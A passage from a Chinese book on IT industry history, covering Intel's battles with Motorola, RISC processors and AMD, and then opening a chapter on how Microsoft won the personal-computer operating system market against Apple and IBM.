格罗夫虽然是学者出身，同时也是微机时代最优秀的领导者和管理者，他几次被评为世界上最好的 CEO。摩托罗拉公司由加尔文（Galvin）兄弟创办，公司六十年代传到了儿子手里，八九十年代传到了孙子手里，是个典型的家族公司。俗话说富不过三代，这话果然应验在加尔文家族上，三代人可以说是一代不如一代。孙子辈的克里斯托弗·加尔文虽然是被\"选成\"CEO的,但是如果他不姓加尔文，他永远不可能是摩托罗拉的 CEO，甚至进不了工业界的高层。\n在业务上，半导体只是摩托罗拉的一个部门，而微机处理器又只是其半导体部门的一项业务，可是它对于英特尔来讲却是全部。因此，摩托罗拉即使完全退出微机处理器市场也不过是损失一些地盘，而英特尔一旦失败，则会面临灭顶之灾。一般来讲，华尔街总是希望一个上市公司有尽可能多的而不是单一的收入来源，摩托罗拉确实是这么做的，它曾经在计算机的处理器、通信的数字信号处理器、对讲机、BP 机、手机和电视接收器等很多领域发展。结果每个领域都很难做大。英特尔公司做事情非常专注，直到今天，它一直集中精力于个人微机的处理器上。每一代产品的研发都是集中大量的人力和资金，每一次都是只能成功不能失败。这就像一把散线和一股绳，一把散线很容易被一股绳扯断。因此，专注的英特尔最终把计算机处理器的业务做得很大、很好，而业务多元化的摩托罗拉最后除了在微机处理器上败给了英特尔，在手机上碰到了诺基亚，在信号处理器（DSP）上又败给了德州仪器（TI）。很多人问我雅虎有没有可能在搜索领域赶上谷歌，我明确地回答——没有，因为雅虎不可能专注在这个领域。有时，一个好的公司不能完全按华尔街的意愿办事。\n如果时光可以倒流，让摩托罗拉和英特尔当时换个个儿，即 IBM PC 采用摩托罗拉的处理器，而将服务器厂家和苹果交给英特尔。那么二十年发展下来，摩托罗拉也很难成为半导体领域的老大，因为它内部的问题没法解决。\n5.3 指令集之争\n英特尔在微软的帮助下，在商业上打赢了对摩托罗拉一战。在接下来的十年里，它在技术上又和全世界打了一战。\n当今的计算机系统结构可以根据指令集合分成复杂指令（CISC）和简单指令（RISC）两种。一个计算机的程序最终要变成一系列指令才能在处理器上运行。每个处理器的指令集不相同。有些处理器在设计时候，尽可能地实现各种各样、功能齐全的指令，这包括早期 IBM 和 DEC 的全部计算机，今天的英特尔和 AMD 的处理器等等。采用复杂指令系统的处理器芯片的好处是它可以实现很复杂的指令，但是它存在主要问题有两个，第一，设计复杂，实现同样的性能需要的集成度高；第二，由于每个指令执行时间不一样长，处理器内部各个部分很难流水作业，处理器会出现不必要的等待。除此之外，还有一个过去不是问题现在是问题的缺陷，就是复杂指令芯片高集成度带来的高功耗。\n针对复杂指令的处理器的上述两个不足之处，八十年代，计算机科学家们提出了基于精简指令集的处理器设计思想，其代表人物是现任斯坦福大学校长、美国科学院、工程学院和文理学院三院院士轩尼诗（John Hennessy）教授和加大伯克利分校著名的计算机教授派特森（David Patterson）院士。精简指令系统只保留很少的常用指令并将一条复杂的指令用几条简单的指令代替。基于精简指令集的设计思想是计算机发展史上的一次革命，它使得计算机处理器的设计得到很大简化，同时由于精简指令集的处理器可以保证每条指令执行时间相同，处理器内各部分可以很好地流水作业，处理器速度可以比同时期的基于复杂指令的处理器要来得快。精简指令集的处理器包括很多工作站的处理器和现在最快的 Sony PS/3 游戏机的微处理器 PS/3-Cell。\n虽然复杂指令和精简指令的处理器各有千秋，但是在学术界几乎一边倒地认为复杂指令集的设计过时了，精简指令集是先进的。尤其是美国所有大学计算机原理和计算机系统结构两门课全是用轩尼诗和派特森合写的教科书。在很长时间里，书中以介绍轩尼诗自己设计的 MIPS 精简指令芯片为主。同时，IEEE 和 ACM 系统结构的论文也以精简指令为主。英特尔设计 8086 时还没有精简指令的芯片，否则我想，英特尔很可能会采用这种技术，而不是复杂指令系统。而一旦走上了复杂指令这条不归路，英特尔为了和 8086 完全兼容，在以后的 80286 和 80386 中必须继续使用复杂指令系统。在八十年代中后期，不少精简指令的处理器做出来了，包括轩尼诗设计的 MIPS，后来用于 SGI 工作站，以及派特森设计的 RISC，后来用于 IBM 的工作站。精简指令芯片的速度当时比的复杂指令的要快得多。\n到了八十年代末，英特尔面临一个选择，是继续设计和以前 x86 兼容的芯片还是转到精简指令的道路上去。如果转到精简指令的道路上，英特尔的市场优势会荡然无存；如果坚持走复杂指令的道路，它就必须逆着全世界处理器发展潮流前进。在这个问题上，英特尔处理的很理智。首先，英特尔必须维护它通过 x86 系列芯片在微处理器市场上确立的领先地位；但是，万一复杂指令的处理器发展到头了，而精简指令代表了未来的发展方向，它也不能坐以待毙。英特尔在推出过渡型复杂指令集的处理器 80486 的同时，推出了基于精简指令集的 80860。这个产品事实证明不很成功，显然，市场的倾向说明了用户对兼容性的要求比性能更重要。因此，英特尔在精简指令上推出 80960 后，就停止了这方面的工作，而专心做\"技术落后\"的复杂指令系列。在整个九十年代，工业界只有英特尔一家坚持开发复杂指令集的处理器，对抗着整个处理器工业。\n应该讲英特尔在精简指令处理器的工作没有白花，它在奔腾及以后的处理器设计上吸取了 RISC 的长处，使得处理器内部流水线的效率提高很多。由于英特尔每一种 PC 机处理器的销量都超过同时代所有的工作站处理器销量的总和，它可以在每个处理器的开发上投入比任何一种精简指令处理器多的多的研发经费和人力，这样，英特尔通过高强度的投入，保证了它处理器性能提升得比精简指令还要快。而在精简指令阵营，九十年代五大工作站厂家太阳、SGI、IBM、DEC 和 HP 各自为战，每家都生产自己的精简指令处理器，加上摩托罗拉为苹果生产的 PowerPC，六家瓜分一个市场，最后谁也做不大、做不好。到了 2000 年前后，各家的处理器都做不下去了，或者全部或者部分地开始采用英特尔的产品了。而最早的精简指令的 MIPS 处理器现在几乎没有人用了。轩尼诗和派特森作为两个负责任的科学家，将英特尔处理器加入到自己编的教科书中，以免大学生们再去学习 MIPS 这样的恐龙。\n英特尔经过十年努力终于打赢了对精简指令集的处理器之战。需要强调的是，英特尔不是靠技术，而是靠市场打赢的此战。英特尔的表现在很多地方很值得圈点。首先，英特尔坚持自己系列产品的兼容性，即保证以往的软件程序肯定能在新的处理器上运行。这样时间一长，用户便积累了很多在英特尔处理器上运行的软件。每次处理器升级，用户原来的软件都能使，非常方便。因此大家就不愿意轻易更换其它厂家的处理器，即使那些处理器更快。而其它处理器生产厂家这点做的都没有英特尔好，它们常常每过几年就重起炉灶，害得用户以前很多软件不能用了，必须花钱买新的。时间一长，用户就换烦了。第二，英特尔利用规模经济的优势，大强度投入研发，让业界普遍看衰的复杂指令集处理器一代代更新。在九十年代初，英特尔的 x86 系列和精简指令集的处理器相比在实数运算上要略逊一筹。但是，英特尔十几年来坚持不懈地努力，后来居上，而其它厂商因为各自市场不够大，每一个单独的处理器芯片的投入远远不如英特尔，因此反倒落在了后面。与其说英特尔战胜其它厂商，不如说它把竞争对手熬死了。第三，英特尔并没有拒绝新技术，它也曾经研制出两个不错的精简指令的处理器，只是看到它们前途不好时，立即停掉了它们。第四，英特尔运气很好，在精简指令处理器阵营中，群龙无首。这一战，看似英特尔单挑诸多处理器领域的老大。但是，这几家做精简指令处理器的公司因为彼此在工作站方面是竞争对手，自然不会用对手的产品，而且各自为战，互相拆台打价格战，最后，太阳公司和 IBM 倒是把其他几家工作站公司全收拾了，但自己也无力和英特尔竞争了，现在这两家自己也用上了英特尔的芯片。本来，摩托罗拉最有可能一统精简指令处理器的天下和英特尔分庭抗礼，因为它本身不做工作站，而各个工作站厂商原本都是用它的 68000 系列处理器，但是摩托罗拉自己不争气。原因我们前面已经分析过了。\n5.4 英特尔和 AMD 的关系\n我们在前面提到摩托罗拉公司时用了\"英特尔和摩托罗拉之战\"的说法，因为，那对于英特尔来讲确实是一场十分凶险的战争，当时摩托罗拉无论在技术还是财力上都略胜一筹。如果英特尔一步走错，它今天就不会存在了。英特尔和诸多精简指令处理器公司之战，可以说有惊无险，因为英特尔已经是内有实力，外有强援。而今天，英特尔和 AMD 之间争夺市场的竞争我个人认为不是一个重量级对手之间的比赛，因此算不上是战争。我想，如果不是反垄断法的约束，英特尔很可能已经把AMD击垮或者收购了。另外，英特尔和 AMD 的关系基本上是既联合又斗争。\nAMD 不同于英特尔以往的对手，它从来没有另起炉灶做一种和英特尔不同的芯片，而是不断推出和英特尔兼容的、更便宜的替代品。AMD 的这种做法和它的基因很有关系。AMD 从血缘来讲应该是英特尔的族弟，因为它也是从仙童半导体分出来的，也在硅谷，只比英特尔晚几年，而且也和英特尔一样，从半导体存储器做起。和其它处理器公司不同，AMD 的创始人是搞销售出身的，而一般技术公司创始人都是技术出身。AMD 的这种基因决定了它不是自己会做什么就做什么，而是市场导向的，市场需要什么就做什么。在 AMD 创建不久，它就成功地解刨了英特尔的一个八位处理器芯片。八十年代，由于 IBM 采购的原则是必须有两个以上的公司参加竞标，所以在很长的时间里，Intel 主动让 AMD 帮它生产芯片卖给 IBM 等公司。\n到了 1986 年，英特尔不想让 AMD 生产刚刚问世的 80386，可能是想独占 80386 的利润吧，于是开始毁约。AMD 拿出过去的合同请求仲裁，仲裁的结果是 AMD 可以生产 80386。这下子英特尔不干了，上诉到加州高等法院，这个官司打了好几年，但是法院基本上维持了仲裁的结果。AMD于是便名正言顺地克隆起英特尔的处理器芯片了。当时微机生产厂家，例如康柏为了同英特尔的压价，开始少量采购 AMD 的芯片。几年后，英特尔再次控告 AMD 公司盗用它花几亿美元买来的多媒体处理的 MMX 技术，AMD 做了让步达成和解。在整个九十年代，英特尔和 AMD 虽然打打闹闹但是，它们在开拓 x86 市场，对抗精简指令集的工作站芯片方面利益是一致的。因此它们在市场上的依存要多于竞争。\n两千年后美国经济进入低谷，精简指令的工作站的市场一落千丈，太阳公司的股票跌掉了百分之九十几。放眼处理器市场，全是英特尔和 AMD 的天下了。AMD 这次主动出击，利用它提早开发出 64 位处理器的优势，率先在高端市场挑战英特尔，并一举拿下了服务器市场的不少份额。前几年，因为微软迟迟不能推出新的操作系统 Vista，因此个人用户没有动力去更新微机；而同时，因为互联网的发展，网络服务器市场增长很快，对 64 位高端处理器芯片需求大增。这样在几年里，AMD 的业绩不断上涨，一度占有 40% 左右的处理器市场，并且挑起和英特尔的价格战。AMD 同时在世界各地，状告英特尔的垄断行为。到去年年初，AMD 不仅在业绩达到顶峰，而且在对英特尔的反垄断官司上也颇有收获，欧盟等国开始约束英特尔。这样一来，英特尔就不能太小觑 AMD 这个小兄弟了。它决定给 AMD 一些颜色看看。在接下来的一年里，英特尔千呼万唤始出来的酷睿双核处理器终于面世了，性能高于 AMD 同类产品，英特尔重新恢复了它在产品上的领先地位。同时，英特尔在过去的几年里将生产线移到费用比硅谷低得多的俄罗冈州和亚利桑那州，以降低成本，然后，英特尔开始回应价格战。价格战的结果是，英特尔的利润率受到了一些影响，但是 AMD 则从盈利到大幅度亏损。英特尔重新夺回了处理器市场的主动权。现在，两家都是采用 65 纳米的半导体技术。在未来的几年里，英特尔因为在最新的 45 纳米技术上明显领先于 AMD，并且已经开始研发集成度更高的 32 纳米的芯片，它将对 AMD 保持绝对的优势。\n我认为，总的来讲，英特尔并没有想彻底把 AMD 打死。因为留着 AMD 对它利大于弊。首先，它避免了反垄断的很多麻烦。今天 AMD 的股值只有英特尔的 5%，后者靠手中的现金就足以买下前者。但是，英特尔不能这么做，否则会有反垄断的大麻烦。其次，留着 AMD 这个对手对英特尔自身的技术进步有好处。柳宗元在他的“敌戒”一文中指出，“秦有六国，兢兢以强；六国既除，訑訑乃亡”。这条规律对于英特尔也适用。英特尔从 1979 年至今，将处理器速度，（如果以小数运算速度来衡量），提高了二十五万倍。如果没有诸多竞争对手的话，它是做不到这一点的。现在它的主要对手只有 AMD 了，从激励自己的角度讲也许要留着它，毕竟，AMD 在技术上不象当年的摩托罗拉和 IBM 那么让英特尔头疼。流传着这么一个玩笑，英特尔的人一天遇到了 AMD 的同行，便说，你们新的处理器什么时候才能做出来，等你们做出来了，我们才会有新的事做。\n5.5 天步艰难\n谷歌研究院院长、美国“人工智能”教科书的作者彼得.诺威格博士有一句很经典的话在业界广为流传：当一个公司的市场份额超过 50% 以后，就不用再想去将市场份额翻番了。言下之意，这个公司就必须去挖掘新的成长点了。在 2000 年后，英特尔公司就是处于这样一个定位。现在，它已经基本上垄断了通用处理器的市场，今后如何发展是它必须考虑的问题。\n虽然英特尔在整个半导体工业中仍然只占了一小块，但是，很多市场，尤其是低端的市场、比如存储器市场英特尔是进不去的，也没有必要进去，因此它的成长空间并没有想象的那么大。英特尔的特长是在处理器和与 PC 相关的芯片制造上，因此它很容易往这两个市场发展。但是，迄今为止，它在微机处理器之外的芯片开发上不很成功。比如，前几年，它花了好几个亿开发 PC 的外围芯片，最后以失败告终，现在不得不采用 Marvell 公司的芯片集（chip set）。除了计算机，现在许多电器和机械产品都需要用到处理器，比如，一辆中高档的奔驰轿车里面有上百个各种有计算功能的芯片，而手机对处理器芯片的需求就更不用说了。英特尔一度进入了高端手机处理器的市场，但是，由于英特尔公司开发费用太高，这个部门一直亏损，不得不于去年卖给了 Marvell 公司。至此，英特尔公司在微机处理器以外的努力全部失败。\n英特尔公司的商业模式历来是靠大投入大批量来挣钱，同一代的芯片，英特尔的销量可是太阳公司的十倍甚至更多，因此，它可以花几倍于其他公司的经费来开发一个芯片。但是，当一种芯片市场较小时，英特尔公司很难做到盈利。现在，这是它面临的最大问题。\n英特尔公司要做的第二件事就是防止开发精简指令集处理器公司例如 IBM 的死灰复燃。虽然在个人微机的市场上，英特尔 x86 系列的处理器在很长的时间内是不可替代的，因为有微软在操作系统中为它保驾。但是在服务器市场却不一定，因为，现在服务器主要的操作系统是开源的 Linux，而 Linux 在什么处理器上都可以运行，因此只要有一种处理器各方面性能明显优于英特尔的，购买服务器的客户就会考虑采用非英特尔的处理器。在能源紧缺的今天，服务器厂家对处理器最关心的已经不单单是速度，而是单位能耗下的速度。现在，一个酷睿处理器如果昼夜不停使用，一年的耗电量已经等同于它的价格。因此，今后处理器设计必须考虑能耗。虽然这两年英特尔已经开始重视这个问题，但是总的来讲，英特尔复杂指令的芯片不如精简指令的处理器设计简单，相对比较难做到低能耗。这样，精简指令集的处理器，有可能在服务器市场上和英特尔一争，虽然这不会动摇英特尔的根基。我个人认为，在个人微机以外，今后最重要的市场是游戏机市场。现在的游戏机早已不单单是为玩游戏设计的了，它们成为每个家庭的娱乐中心。IBM 等公司至少在目前在这个领域是领先的。IBM 已经垄断了任天堂、Sony 和微软三大游戏机的处理器市场。实际上，现在这些采用精简指令处理器的游戏机无论是从计算速度还是图形功能上讲，都已经超过了基于英特尔处理器的个人电脑。如果下一次技术革命发生在每个家庭的客厅，那么，IBM 无疑已经拔了头筹。\n英特尔虽然雄霸个人电脑处理器市场，但随着个人微机市场的饱和，它远景不容乐观。从某种程度上讲，它是反摩尔定理最大的受害者，因为处理器的价格在不断下降。同时，它在新市场的开拓上举步艰难，很难摆脱“诺威格效应”的阴影。好在英特尔同时也是安迪-比尔定理的直接受益者，在可以预见的将来，它的发展很大程度上必须依赖于微软等公司软件的更新。\n结束语\n在个人微机时代，组装甚至制造微机是一件非常容易的事，连我本人都攒PC机卖过。因此，二十几年来，出现了无数的微机品牌，小到中关村攒出来的自己贴牌子的兼容机，大到占世界绝大部分市场的所谓品牌机，如戴尔、惠普和联想。虽然这些计算机配置和性能大相庭径，但是它们都使用微软的操作系统和英特尔系列的处理器。从这个角度讲，微机时代的领导者只有两个，软件方面的微软和硬件方面的英特尔。有人甚至把 PC 机行业称为英特尔/微软体制。\n英特尔对世界最大的贡献在于，它证明了处理器公司可以独立于计算机整机公司而存在。在英特尔以前，所有计算机公司都必须自己设计处理器，这使得计算机成本很高，而且无法普及。英特尔不断地为全世界的各种用户提供廉价的、越来越好的处理器，直接地使个人微机得以普及。它大投入、大批量的做法成为当今半导体工业的典范。它无疑是过去二十年信息革命大潮中最成功的公司之一，但是今后除非它能找到新的成长点，否则它会随着 PC 时代的过去而进入自己平和的中老年期。\n第6章 IT业的罗马帝国：微软－Microsoft\n2000年夏天，我和同事正在横跨欧亚的伊斯坦布尔参加一个大型学术会议，回到旅馆，看见电视里居然说起了英语而不是当地的土耳其语。仔细一看，微软董事会主席威廉.盖茨三世，也就是我们常说的比尔盖茨，穿着便装，表情严肃地发表着电视讲话。原来，历时持久的美国司法部控告微软一案终于有了初审结果。司法部经过多年调查取证，终于找到了足够的 、 多达146页的 关于微 软垄断和不正当竞 争的证据（详见http://www.usdoj.gov/atr/cases/f3800/msjudgex.htm）。法庭裁定，微软的垄断行为已经违法了反垄断法，并构成对苹果，太阳，网景，莲花，Real Networks，Linux等公司的威胁，作为补救，将强制地把微软拆成两个公司，一个操作系统的公司和一个经营其它软件的公司。当天，微软的股票狂跌掉了一半，市值从五千亿美元缩水到不到三千亿，从此便停留在了两到三千亿的水平。在第二天晚上的千人酒会上，除了微软以外的所有人对这个结果都很高兴。这说明微软的垄断行为确实犯了众怒。\n在整个IT领域，微软永远是所有公司最可怕的敌人。微软靠它在操作系统上的垄断地位和无比雄厚的财力在计算机领域几乎是无往不胜。二十几年来，微软作为计算机领域生态链最上层的一个环节一方面刺激着整个计算机领域的发展，另一方面微软扼杀了无数具有创新的大大小小的公司。今天，它仍然是世界上现金最多的公司并且是市值最高的科技公司。微软里面有无数传奇人物，而它的创始人和董事会主席盖茨自己就是一个传奇故事。它们的故事早已在全世界流传，我就不在这里赘述了。我只想介绍一下盖茨和微软是如何抓住和利用信息革命带来的机遇，建成一个IT帝国的。\n6.1 双雄会\n1981年，在硅谷的库帕蒂罗市苹果公司的总部，举行了一次微机领域的世纪双雄会。事业正蒸蒸日上的苹果公司的创始人史蒂夫.乔布斯邀请了刚刚拿下IBMPC操作系统合同的微软公司创始人比尔.盖茨洽谈合作事宜。乔布斯给盖茨看了新设计的麦金托什个人电脑以及漂亮的基于图形界面的操作系统。还沉浸于拿下IBM大合同的盖茨一下子给镇呆了。这种基于图形界面加上一个小小的鼠标的操作系统比他们的DOS不知道要强多少倍，前者使得计算机的操作比以前方便了许多。盖茨马上意识到，眼前这种虽然还不完善的操作系统代表了今后的趋势，而微软当时产品线上所有的东西都显得寒酸而落后。那一年，乔布斯和盖茨都是二十六岁。虽然两个人都是科技工业界的新星，但是没有人意识到未来年产值万亿美元的个人电脑工业，将由这两个人来争天下。正春风得意的乔布斯当时并不了解盖茨这个人，他只是知道微软做事情蛮快蛮好，请盖茨来的目的是让微软替苹果开发应用软件。如果时光能倒流，乔布斯一定不会举行这次双雄会，因为后来大家都知道盖茨和微软是不会甘居人下的，他们一旦瞄上哪个领域，哪些领域原有的公司的灾难就不远了。乔布斯在这次会晤中显得很傲慢，因为他有麦金托什这个宝贝在手。而在合作的谈判上，出了名的谈判高手乔布斯又斤斤计较。\n这两点都让盖茨很不喜欢乔布斯，但他还是促成了交易，他答应为苹果开发三种应用软件，因为他对这种图形界面的操作系统本身感兴趣。\n在计算机领域双雄的第一次交手中，乔布斯在合同上得到了一些小便宜，但是，盖茨才是真正的胜利者。二十六岁的乔布斯虽然是科技奇才，但是当时毕竟阅历和经验都不足。他太大意了，他无论如何不会想到在他面前这个衣着随便，带着永远擦不干净的厚厚的眼镜的计算机虫，日后几乎要了苹果的命。当时，在乔布斯眼里，微软不过是一个靠卖BASIC起家、阴错阳差拿到IBM合同的小小的软件公司（连它的名字都是微软件），无论如何不能和他那个开创了整个微机工业的苹果相比。我们无法得知微软1981财政年度的收入，因为它在1986年上市时只公布了1984年以后的财政情况。但是可以肯定，微软当时的收入是微乎其微的，因为即使是在高速发展了几年后的1984年，微软已经为世界上80%微机提供操作系统时，它的营业额不过区区一亿美元。直到1990年微软发布Windows3.0并称为软件霸主时，它的营业额才达到苹果同时期的五分之一。乔布斯不是神仙，很难料到比自己小得多的微软以后会威胁到自己。\n毫无疑问，乔布斯不经意的错误等于告诉了盖茨今后个人微机操作系统发展的方向。我想，如果乔布斯年龄大上个二十岁，他不会犯这个简单的错误。我在学校的老板贾里尼克院士以前在IBM当任要职，因此我们经常去IBM作报告，每次去以前贾里尼克都要确认我们报告的每一页内容是已经公开发表过的。原因很简单，IBM有世界上最好的科学家和工程师，他们可以用比你还快的速度将你没有发表的想法实现、申请专利并发表。在这次双雄会上，乔布斯犯下的错误有两方面，首先，他自己没有意识到操作系统在今后整个微机工业中的重要性，否则他不会过早地给别人看他还没上市的设计；第二，也是更重要的，他给谁看都可以，就是不该给盖茨这个人看。\n乔布斯和盖茨都意识到了微机及其相关工业将是一个大产业，事实证明这确实是一个万亿美元的大产业。我们在前面已经分析过，计算机工业比任何行业都容易出现垄断公司。乔布斯和盖茨都想做垄断者，但是他们的方式不同。前者是想做原来IBM那样的垄断者，从硬件到软件全部垄断，这后来证明是行不通的。而盖茨天才之处在于，它在微机工业刚刚开始的时候，就意识到只要垄断了操作系统，就间接垄断了整个行业，因为操作系统和别的软件不同，是在买计算机时预装好了的，一般用户没有选择权。而其它的软件用户则有选择权。\n所有的应用软件又必须在操作系统下开发。因此，操作系统必然会在自由竞争后，率先出现赢者通吃的垄断局面。二十年前，IBM、微软和苹果三个公司都有垄断微机操作系统的可能性。\n另外三个公司Novell，太阳和Oracle也有可能从中分到一杯羹。二十年后的结果是微软一家独大，不仅后三家公司设想的网络操作系统没有成功，IBM和苹果这两个曾经\"雇佣\"了微软的公司，也都被当年的店小二打的落花流水。虽然说条条道路通罗马，但是成为罗马帝国的路只要一条，就看谁能找对了。\n让盖茨和乔布斯生于同一时代是一件很遗憾的事，因为他们两个人注定要有一人成为失败者。在技术嗅觉上，乔布斯好于盖茨，但是，在商业眼光和经营上，盖茨要强于乔布斯。\n6.2 亡羊补牢\n盖茨回到微软后，向人们展示了苹果的东西，大家一下子被麦金托什的图形操作系统迷住了，而且接受苹果开发任务的工程师们很高兴地在麦金托什的操作系统下工作。此时，盖茨的心情更加沉重了。一方面，在他面前是随着计算机进入家庭而带来的无限的商机、美好的未来，另一方面，是很大的在这次技术革命中被淘汰的危险性。盖茨一向看重连接用户和计算机系统的操作系统，知道它比其他任何一种应用软件更容易重要，也容易形成垄断。但是现在，乔布斯的苹果在新的操作系统软件方面抢到了先机，而施舍给他的微软的三个无足轻重的应用软件。\n盖茨采取了亡羊补牢的措施，他知道要在短时间内在操作系统上赶上苹果已经不可能了，微软只能先减小苹果麦金托什对微机市场，尤其是操作系统市场的冲击，赢得时间，然后再迎头赶上。盖茨从来是个置于死地而后生的人，早在哈佛大学读书时，他就是这样。那一年他刚上大二，从一本杂志上看到一篇介绍Altair公司微处理器的文章，于是就给该公司老板写了封信说他们为贵公司的微处理器写了个BASIC语言的解释器，这样用户就可以在Altair的处理器上使用BASIC编程了。其实，当时这个解释器完全是盖茨杜撰出来的。Altair公司倒很认真，要来看看盖茨的东西。盖茨和艾伦等人居然在几星期内赶制出来了一个。Altair公司对盖茨等人的工作很满意，干脆雇了艾伦。几个月后，艾伦说服了盖茨退学，全时办起了自己的公司微软。六年后，盖茨再次被苹果公司逼到角上，他不甘心在这次千载难逢的计算机革命中当一个配角，而必须夺得操作系统的控制权。盖茨作了非常正确的战略布局，事实表明，盖茨当时在诸多环节中如果走错一步，微软都难以成为日后的霸主。\n首先，他兑现对苹果的承诺，开发麦金托什上的应用软件。整个开发工作进展缓慢，盖茨暗暗高兴，这说明在麦金托什上开发应用程序比在DOS下难。这些工作对微软了解苹果，并为自己今后开发图形操作系统都很有用。第二，他答应了IBM一起开发新的操作系统OS/2的合作。显然，IBM此目的是想从微软手里夺回自己PC机操作系统的控制权，但是微软还是答应了，因为这样一来可以借助IBM的力量锻炼队伍，二来可以制约苹果，但是，微软在推广OS/2上并不卖力。最关键的是第三步棋，微软暗地里偷偷地、非常低调的学习苹果悄悄开发Windows。并抛出了两个玩具版Windows 1.0和2.0，这两个必须依靠DOS的版本很不成功。当时，没有人认为微软能做好图形界面加鼠标的操作系统。盖茨暗地里却请了很多高手来助阵，包括施乐公司最早做图形界面的一些人，当时最好的操作系统VMS的主持人David Neil Cutler以及操作系统著名专家Jim Allchin等。Jim Allchin当时对微软的技术根本瞧不上，他说，你们微软的东西是世界上最烂的。盖茨倒很大度，回答说，正因为它们很烂，才要请你来把它们做好。最后，盖茨的诚意和微软的股票期权打动了Allchin。\n完成了在研发上的布局，盖茨要在市场上尽可能用它落后的DOS坚持到微软新一代操作系统开发出来。微软的做法概括起来是两句话，薄利多销和来者不拒。1980年，盖茨把他在哈佛认识的同学史蒂夫.鲍尔默请来做微软的CEO。如果说盖茨是微软这条巨轮的船长，那么鲍尔默则是开船的大副。鲍尔默到了后，把公司管理得正规起来，他为微软制定了后来证明是非常有效的营销方案。微软将BASIC免费提供给IBM，同时已近乎免费的价格，即每个拷贝5美元，将DOS预装在IBMPC机上，这个价钱便宜得大家连盗版都懒得盗。（也正是这些原因，微软早期软件销量大但是不很挣钱。）但是，微软用这些条件换回了DOS的销售权。\n我们在\"蓝色巨人\"一章中讲过，IBM心思根本不在微机上的，也没有意识到这个合同最终使得IBM失去了对微机操作系统的控制权。免费的BASIC和五美元预装的DOS其实是微软的一个钓饵，它是为了吸引软件公司和计算机爱好者在上面开发出各种各样的软件，使用户产生对微软的依赖。在众多应用软件公司中，莲花公司（Lotus）的制表软件1-2-3最为成功，几乎每台IBM PC微机上都装了一份，这使得在很长的时间里，开发应用软件的莲花公司居然比开发操作系统的微软还大。\n但是，DOS的缺陷是任何搞计算机的人都一眼能看得见的。它是一个非常小非常简单的操作系统，甚至算不上严格以及上的操作系统，因为它没有操作系统的一些基本功能比如进程的管理。最早的IBM PC因为硬件速度较慢，内存较少，使用DOS未尝不可。但是，随着硬件速度的提高，DOS的问题马上就显示出来了。首先，它不能直接访问640KB以上的内存，因为它当时就只是为内存特别小的微处理器设计的。第二，它在任务管理上完全是串行的，像现在一边听歌一边上网这种事在DOS上永远做不到。尤其是等到32位的处理器80386出来，DOS就大大的限制了硬件性能的发挥。作为技术出身的盖茨很明白这一点，但是他别无选择。在很长一段时间内，微软必须全力推广技术上已经非常落后的DOS，而且还大张旗鼓地对根本没有前途的DOS做了几次非实质性升级，这样可以争取时间。微软的这种做法其实很冒风险，因为它是在用大刀长矛死死抵抗着苹果和以及后来IBM（OS/2）的洋枪洋炮。\n但是这一次，微软居然打赢了。微软是怎样创造奇迹的呢？\n6.3 人民战争\n一位日本围棋国手讲过，高手过人取胜之道，就在于抓住对手的失误。乔布斯在双雄会上的失误虽然严重，但还不是致命的，因为微软最终花了九年时间才做好图形界面加鼠标的操作系统视窗，即Windows，期间苹果本来还很有机会，但是一步致命的败棋使它断送了原来的好局。乔布斯和盖茨一样，都是卧榻之旁不容他人安睡的垄断者，但是乔布斯和他的继任者功利之心太急了一点。在微机工业这盘大棋中，苹果是抢实地，而微软是先造势再破实空。结果是，苹果好处抢得快，微软大局布得好。\n苹果在开局中抢到了先机，它自己对苹果系列的微机软硬件都有控制，而微软和IBM在PC上的合作是貌合神离。即使在软件方面，苹果也在操作系统上领先微软整整一代。但是，领先下的苹果犯了一个致命的错误--走封闭式道路和纯技术路线。当IBM因为反垄断的限制，不得不容忍兼容机厂家克隆自己的产品并抢走越来越多市场时，苹果正在为自己没有遇到同样的麻烦而高兴。在微软以前，软件是不能直接挣钱的，因为都是在卖硬件时送给用户的。这样，软件的价值必须通过硬件销售才能体现出来，也许是处于这种考虑，苹果始终坚持软件硬件一起卖。苹果拒绝开发自己麦金托什计算机技术的结果，客观上把所有的想从微机市场分一杯羹的兼容机厂商推给了IBM和微软。从八十年代中期起，世界硬件市场的格局从苹果对IBM一下子变成了苹果对IBM加上所有的兼容机。开始，苹果这种劣势还不明显，因为它的系列市场占有率还很高。但是由于IBM PC的开放性特点和信息工业全球化的效应，使得IBM兼容机越做越便宜，市场占有率越来越高，DOS在操作系统占有率上便领先于苹果。\n如果二十年前苹果开放了兼容机市场，那么微软能否在操作系统中胜出就很难说，因为后者整整比前者落后了近十年。\n如果说苹果抢到了天时，那么，微软通过开放、兼容和廉价则夺回了地势。微软一方面将操作系统以近乎免费的价钱提供给PC制造商。虽然盖茨从来对盗版深恶痛绝，并且早在1975年就写了\"给玩家的公开信\"指责那些使用盗版软件人,但是盖茨在成为操作系统领域霸主之前，对盗版居然睁一只眼闭一只眼。在另一头，微软在建成它的软件帝国前，对应用软件厂家以支持和合作为主。一种操作系统成功与否，最终要看上面有多少既有用又廉价的应用软件。微软在很长时间里，都是靠第三方开发应用软件。因此，一度出现了很大的微机应用软件公司，如莲花公司、做字处理的WordPerfect和编程工具的Borland。而苹果则一切要靠自己做，虽然莲花公司也试图帮助苹果在麦金托什上开发一个字处理和制表软件Jazz，但是由于麦金托市兼容性问题，这个软件难用。莲花公司甚至自己自嘲地说，第一个月，我们卖出去了几百万份Jazz，但是第二个月，用户却退回来了比卖出去的还多的拷贝，因为它十分令人失望，以至于用户把盗版的也退回来了。苹果另外一个不容忽视的失误就是兼容性。苹果的产品和其它微机不兼容就不用说了，就是它自己内部也不兼容。苹果的麦金托什和早期的苹果在硬件和操作系统上不兼容，当然可以认为早期的苹果机比麦金托什落后很多而后者不必要考虑兼容问题。但是后来的Power PC和麦金托什还是在硬件上不兼容。这样不仅使软件开发商无可是从，更使得用户的一遍遍花钱买新的软件（至今苹果机的软件都IBM系列的PC 